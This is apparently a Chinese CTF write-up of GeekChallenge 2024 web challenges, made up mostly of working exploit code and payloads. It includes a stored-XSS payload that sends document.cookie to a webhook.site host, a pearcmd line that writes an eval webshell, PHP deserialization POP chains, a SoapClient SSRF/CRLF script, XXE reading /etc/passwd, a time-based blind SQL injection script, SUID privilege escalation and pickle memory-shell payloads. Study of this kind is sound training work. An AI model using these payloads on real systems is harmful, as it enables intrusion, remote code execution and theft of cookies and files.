前言
还是新生的时候写的极客大挑战,web写出了三道,现在用来巩固一下基础,这次的复现注重自己思考的过程,尽量不看wp完成90%的题目。言尽于此,加油。
100%的⚪
知识点:源代码
一道简单的签到题,在源代码的js代码中可以找到base64加密的Flag


rce_me
知识点:php特性:非法变量名、intval、stripos、global
又是经典的php特性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
# Can you RCE me?
if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}
echo "Welcome to GeekChallenge2024!<br>";
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";
if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}
if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
|
第一关:post提交start=start now
第二关:php非法变量名,在newstar写过了,然后是让这个参数的值sha1加密后等于md5加密Geekchallenge2024_bmKtL的值。手动加密一下Geekchallenge2024_bmKtL发现是0e开头,所以网上找个sha1加密后是0e开头的数字串就行 post传入_[2024.geekchallenge.ctf=10932435112
第三关:intval函数无法解析科学计数法,get传入year=1e10
第四关:get传purpose=rce我记得之前好像是通过多次回溯绕过的,这里怎么直接传这个就行了(官方wp是传purpose[]=rce,是绕过stripos)
最后:get传code=system("cat /f*");命令执行(get传的参数会到$GLOBAL中)

baby_upload
知识点:文件名绕过文件上传
文件上传,之前是皮教着做的
传文件和文件名字分开,可以自己定义文件名
.htaccess文件无法上传,可以传.user.ini,不过这个需要同目录下至少一个php文件才有用
然后因为可以自己定义文件名,尝试.1.php(因为后端代码只对第一个后缀有检测,也可以使用1.jpg.php)
成功

ezpop
知识点:绕过exit、变量名绕过、pop链
经典php反序列化,审计一下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}
|
这道题磨了很久,最终发现应该是环境出问题了。
首先是pop链,就不多解释了,这里注意一下反复循环的两个类,别绕进去就行
1
2
3
4
5
|
$a = new lover();
$a -> meimeng = new Geek();
$a -> meimeng -> GSBP = new lover();
$a -> meimeng -> GSBP -> meimeng = new Geek();
$a -> meimeng -> GSBP -> meimeng -> GSBP = new SYC();
|
然后是绕过
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024')
这个可以用data伪协议绕过$a -> J1rry = 'data:text/plain,Welcome GeekChallenge 2024';
if(preg_match("/meimeng/i",$_GET['data']))
这个用ascii码绕过一下就行,注意小s要换成大S,因为反序列化中出现ascii码时,PHP 会使用 S 标记来表示这是一个 二进制安全的字符串。所以我们需要换成S
最头疼的就是 if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)) &&file_put_contents($this->starven,"<?php exit();".$this->starven)
绕过exit一般采用编码绕过,base64啊,rot13啊什么的,但是这里被ban了,但是可以用.htaccess预包含
具体payload:
1
|
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
|
1
2
3
4
5
6
7
8
9
10
11
|
解释:
当这段代码运行时,它会在当前目录下创建一个名为 .htaccess 的文件。这个文件里的内容是:
php_value auto_prepend_file /flag
#/resource=.htaccess
最终结果是: 当你(或任何用户)访问该目录下的任意一个 PHP 文件时(例如 index.php),Web服务器(如Apache)会首先自动加载并执行 /flag 文件的内容,然后再执行你访问的那个PHP文件。如果 /flag 文件里存放的是敏感信息(比如CTF比赛中的flag),那么这些信息就会被显示在页面上。
为什么可以绕过exit()?
因为/write=string.strip_tags的作用是指定一个写入过滤器。当数据被写入目标文件时,会先经过 string.strip_tags 函数处理。也就是说它可以剥离字符串中的PHP和HTML标签,所以
<?php exit();php://filter/write=string.strip_tags/?>直接被剥离了
|
payload如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry="data://text/plain,Welcome GeekChallenge 2024"; //这个还挺重要的,以后尽量把需要自己定义的参数写在代码里
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
$a = new lover();
$a -> meimeng = new Geek();
$a -> meimeng -> GSBP = new lover();
$a -> meimeng -> GSBP -> meimeng = new Geek();
$a -> meimeng -> GSBP -> meimeng -> GSBP = new SYC();
$a -> meimeng -> GSBP -> meimeng -> GSBP -> starven = "php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ;
$b=serialize($a);
$b = preg_replace('/s:7:"m/', 'S:7:"\\\6d', $b);
//echo $b;
echo urlencode($b);
|
Problem_On_My_Web
知识点:xss
简单的存储型xss
打入<script>fetch('https://webhook.site/9109704c-561e-40e7-8ef7-0ed01c3e10b4?a='+document.cookie)</script>后,在manager路由处post提交url=http://127.0.0.1。这个可以使机器人携带cookie触发xss

不过很奇怪的是我的武器库没有用了
1
2
3
|
<script>
var img=document.createElement("img"); img.src=" https://webhook.site/9109704c-561e-40e7-8ef7-0ed01c3e10b4/"+document.cookie;
</script>
|
为了解决这个问题,我去ctfshow中试验了一下,在ctfshow中写fetch的payload只能弹出not admin

说明并不是admin访问了这个,而是我们自己访问的,后续admin也没访问这个链接,算了,简单题就放放
ez_http
知识点:http、jwt
eazy如图

最后是一个JWT密钥在源代码里,伪造一下就行……吗?
我试了很多遍都不成功,也不知道是什么问题,甚至以为和时间戳有关,搞了个脚本,还是不行,所以我觉得是环境问题QAQ
ez_include
知识点:文件包含:request_once、register_argc_argv=On

这里secret.php已经被包含过一次了,所以要绕过require_once
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过

用这种方式再次包含文件
1
|
file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
|
然后解码base64,得到第二关/levelllll2.php

提示说register_argc_argv=On搜索发现可以通过这个写马
利用 pearcmd 从 LFI 到 getshell

1
2
|
syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php
//正好还绕过了.php的限制
|

post的值是乱写的,没用

有了这个知识点以后,遇到文件包含,都可以通过这个方式写马,不知道绝对路径的化可以写如tem目录下
1
|
/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/tmp/shell.txt
|
Can_you_Pass_Me
知识点:ssti、base64绕过、/proc/1/environ
首先fenjing可以直接跑

但是很奇怪,这个payload不能手动输入,手动输入是没用的,另外就是,直接cat /flag的话会返回好像不能出现在这里,通过源码可以知道。

可以通过base64绕过(注意格式)

另外,也可以cat /proc/1/environ

多年前的回旋镖还是命中自己了

1
|
Linux 中的 /proc/1/environ 文件包含 PID 为 1 的进程的环境变量,该进程通常是 init 进程。这些变量由 null 字符分隔,并且该文件反映进程启动时的环境。
|
SecretInDrivingSchool
知识点:爆破、命令执行




admin用户名正确爆破一下密码
SYC@chengxing
过滤了eval,system等,这里直接反引号执行,然后echo一下


ez_SSRF
知识点:SoapClient类进行SSRF
www.zip获取源码
h4d333333.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}
if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));
$client->calculator();
echo file_get_contents("result");
}else{
echo "Please give me a location";
}
|
calculator.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";
function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}
|
初步审计是发现h4d333333.php中有ssrf的漏洞,可以借助这个路由给calculator.php发送消息。
然后是calculator.php这里,有一个写入result这个文件的函数,这里就是利用点
$_SERVER['HTTP_AUTHORIZATION']这个需要是admin:adminpassword的形式,正好代码里有数据,还要base64一下

然后是怎么利用ssrf呢,怎么样才能把我需要的东西发过去?我一开始想的是打gopher协议,可是并不管用。
后来注意到这个代码,能搜到
利用SoapClient类进行SSRF+CRLF攻击
1
2
3
4
5
6
7
8
|
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));
$client->calculator();
|
下面是代码,运行不了的话去php.ini改一下;extension=soap,把分号去掉
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
$target = 'http://xxx/xxx.php';
$post_string = 'expression=system("cat /flag > flag");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
#只需要useragent的部分
#wupco%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 38%0d%0a%0d%0aexpression=system("cat /flag > flag");
|


ez_js
知识点:js代码审计、原型链污染
前端好像是坏的,抓包看看反应

然后也是猜了一下

获得部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
const { merge } = require('./utils/common.js');
function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
merge(geeker, req.body);
if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}else{
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}else{
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}
function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge };
|
很明显是一个js的代码,看到merge函数就能想到是原型链污染
再看到函数逻辑,当账号和用户名正确时,并且geeker.hasFlag的值为ture时可以显现direct.html。那么我们就需要靠原型链污染geeker的原型,从而改变geeker.hasFlag的值
payload如下:
1
|
{"username":"Starven","password":"123456","__proto__":{"hasFlag":"ture"}}
|

/flag里没有源码,打入之前的payload看看

发现应该有waf,然后有点谜语人了我就直接看wp了
考察的是逗号的绕过,payload如下:
1
|
?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":"ture"}
|

有几个疑问,为什么这里没有__proto__,还可以进行污染?
然后尝试了一下,第一层好像也不需要proto,应该是题目的问题?
算了,这里也是比较不熟练,之后去把ctfshow的nodejs写掉好了
PHP不比Java差
知识点:__unserialize()妙用、php反射类运用、suid提权:find命令f参数报错读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";
class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
}
}
unserialize($_POST['data']);
|
首先__unserialize会返回一个关联数组,这个数组的内容就是这个类的属性。但是FUNC进行数组调用类的方法时需要索引数组,所以要采用 array_values 取关联形数组的值转变为索引数组,这里通过GET传change实现
之后我们将a赋值 new change,b赋值为Sink,这样就可以通过FUNC()调用Challenge的Sink函数,这样就成功走到了Change类
1
|
O:4:"Geek":2:{s:1:"a";O:9:"Challenge":1:{s:4:"file";s:10:"secret.php";}s:1:"b";s:4:"Sink";}
|

但是如何在change类中触发tostring呢?
file_exists 函数会把传入的变量作为字符串类型去处理,因此当传入 一个类时也会把类作为string类型进行处理。也就触发__tostring了。这里有一点像之前做过类似的题目,那题是md5触发 __tostring,感觉挺相通的。
那么这里也提醒之后做到类似的题目,可以跟进函数的源代码去看看,说不定也能找到类似的情况。
最后链子到了Syclover类,如何获取flag呢?
1
2
3
|
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
|
刚学的java反射,这里也学一下php反射类
1
2
3
4
5
6
7
8
9
|
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "ls";
相当于
$eee=new ReflectionFunction(system); //反射system方法
$fff="invoke";
$eee->invoke(ls); //invoke调用system方法,参数为ls
|

这里不能直接读取flag,在根目录的hint.txt也提示了需要提权
用find查找具有root权限的SUID的文件。
1
2
3
|
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
|

然后使用flie的-f参数利用报错进行文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
$a = new Geek();
$a -> a = new Challenge();
$a -> b = "Sink";
$a -> a -> file = new Syclover();
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "file -f /flag";
echo serialize($a);
/*
$a = new Geek();
$a -> a = new Challenge();
$a -> b = "Sink";
$a -> a -> file = new Syclover();
$a -> a -> file -> Where = "ReflectionFunction";
$a -> a -> file -> IS = "system";
$a -> a -> file -> Starven = "invoke";
$a -> a -> file -> Girlfriend = "file -f /flag";
echo serialize($a);
*/
|

py_game
知识点:session爆破+伪造、python原型链污染(路线)、XXE(json转义)
随便注册一个,获取普通用户的session,然后爆破伪造出admin的身份


根据链接指引的路由一步步可以下载到app.pyc

随便找个反编译网站反编译一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
|
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.6
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']
admin = User('admin', '123456j1rrynonono')
Users = [
admin]
def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))
new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')
register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))
flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')
login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)
def play():
pass
# WARNING: Decompyle incomplete
play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)
def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))
admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)
def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))
downloads321 = app.route('/downloads321')(downloads321)
def index():
return render_template('index.html')
index = app.route('/')(index)
def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))
dashboard = app.route('/dashboard')(dashboard)
def xml_parse():
try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None
try:
return str(e)
e = None
del e
return None
xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]
def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False
return True
def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:
try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None
try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None
update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))
|
update处存在python原型链污染,数据是直接获取的request.data,且需要json格式,所以我们可以在这里通过原型链污染xml_data的值,将其改为我们构造的xxe payload。
然后是有一些绕过,这里用unicode编码绕过就行,也就是\u00加上十六进制的数字
路径是app.config['xml_data']

payload如下:
注意json中内部的双引号需要转义" -> \"、然后file需要首字母大写,不然会报错
1
2
3
4
5
6
7
8
9
10
11
|
{
"__init\u005f_": {
"__globals\u005f_": {
"app": {
"config": {
"xml_data": "<?xml version=\"1.0\"?>\n<!DOCTYPE creds [\n <!ENTITY xx SYSTEM \"File:///etc/passwd\">\n]>\n<creds>\n <ctfshow>&xx;</ctfshow>\n</creds>"
}
}
}
}
}
|

最后在源代码处看到(其实是一开始就看到的)

修改payload
1
2
3
4
5
6
7
8
9
10
11
12
|
{
"__init\u005f_": {
"__globals\u005f_": {
"app": {
"config": {
"xml_data": "<?xml version=\"1.0\"?>\n<!DOCTYPE creds [\n <!ENTITY xx SYSTEM \"File:///flag\">\n]>\n<creds>\n <ctfshow>&xx;</ctfshow>\n</creds>"
}
}
}
}
}
|

funnySQL
知识点:时间盲注
最讨厌的sql,输入了很多东西都没用回显,估计就是时间盲注了
然后waf:空格、sleep、or、=
or被ban了,意味着information和performance这俩库都查不了了,所以我们只能通过 mysql.innodb_table_stats 来查到表名 sleep被ban了用benchmark绕就行了,=号可以用like,regexp等来绕,也可以用>或者<号来绕 空格被ban了可以用/**/或者是()来绕
用了别的师傅的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
import requests
from urllib.parse import urlencode
from time import time
url="http://80-5a7887db-128e-47a8-ab4c-dafafc7a3c95.challenge.ctfplus.cn/index.php?username="
dic="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~"
flag=''
for i in range(1,100):
for s in dic:
#payload=f"'||if((SUBSTR(DATABASE(),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#" database: syclover
#payload = f"'||if((substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like'syclover'),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#" # table name:Rea11ys3ccccccr3333t,users
#payload=f"'||if((substr((select(group_concat(database_name))/**/from(mysql.innodb_table_stats)where(table_name)LIKE'Rea11ys3ccccccr3333t'),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"
#payload='||if((select(COUNT(*)>0)from(select/**/1/**/union/**/select*from/**/Rea11ys3ccccccr3333t)a/**/limit/**/0,1),BENCHMARK(10000000,SHA1('test')),1)# 只有一列
payload=f"'||if((substr((select*from(select/**/1/**/union/**/select*from/**/Rea11ys3ccccccr3333t)a/**/limit/**/1,1),{i},1)like'{s}'),BENCHMARK(10000000,SHA1('test')),1)#"
payload= urlencode({'': payload})[1::]
start=time()
req=requests.get(url+payload)
end=time()
if end-start>1:
flag+=s
print("flag: ",flag)
break
|

ez_python
知识点:pickle反序列化内存马
随便注册账号,随便试试后提示路由,进入后获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black
app = Flask(__name__)
#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']
if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')
if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']
try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"
return render_template('login.html')
@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')
@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
|
审计一下,可以发现heal_state是pickle反序列化的利用点
这里直接打内存马,掏出武器库,化身脚本小子,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import pickle
import base64
import os
from pyclbr import Class
class A():
def __reduce__(self):
code = "url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})"
return (eval, (code,))
pickle.dumps(A())
print(base64.b64encode(pickle.dumps(A())).decode())
#gASVPAEAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlFgdAQAAdXJsX2Zvci5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ2V2YWwnXSgiYXBwLmFkZF91cmxfcnVsZSgnL3NoZWxsJywgJ3NoZWxsJywgbGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9yZXF1ZXN0X2N0eF9zdGFjay50b3AucmVxdWVzdC5hcmdzLmdldCgnY21kJywgJ3dob2FtaScpKS5yZWFkKCkpIix7J19yZXF1ZXN0X2N0eF9zdGFjayc6dXJsX2Zvci5fX2dsb2JhbHNfX1snX3JlcXVlc3RfY3R4X3N0YWNrJ10sJ2FwcCc6dXJsX2Zvci5fX2dsb2JhbHNfX1snY3VycmVudF9hcHAnXX0plIWUUpQu
|
然后就被waf了
后来得知新版flask已经不支持add_url_rule添加路由了,那岂不是我的武器库都失效了。
经学习有通过errorhandler钩子函数的内存马,之后补充在内存马篇里
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
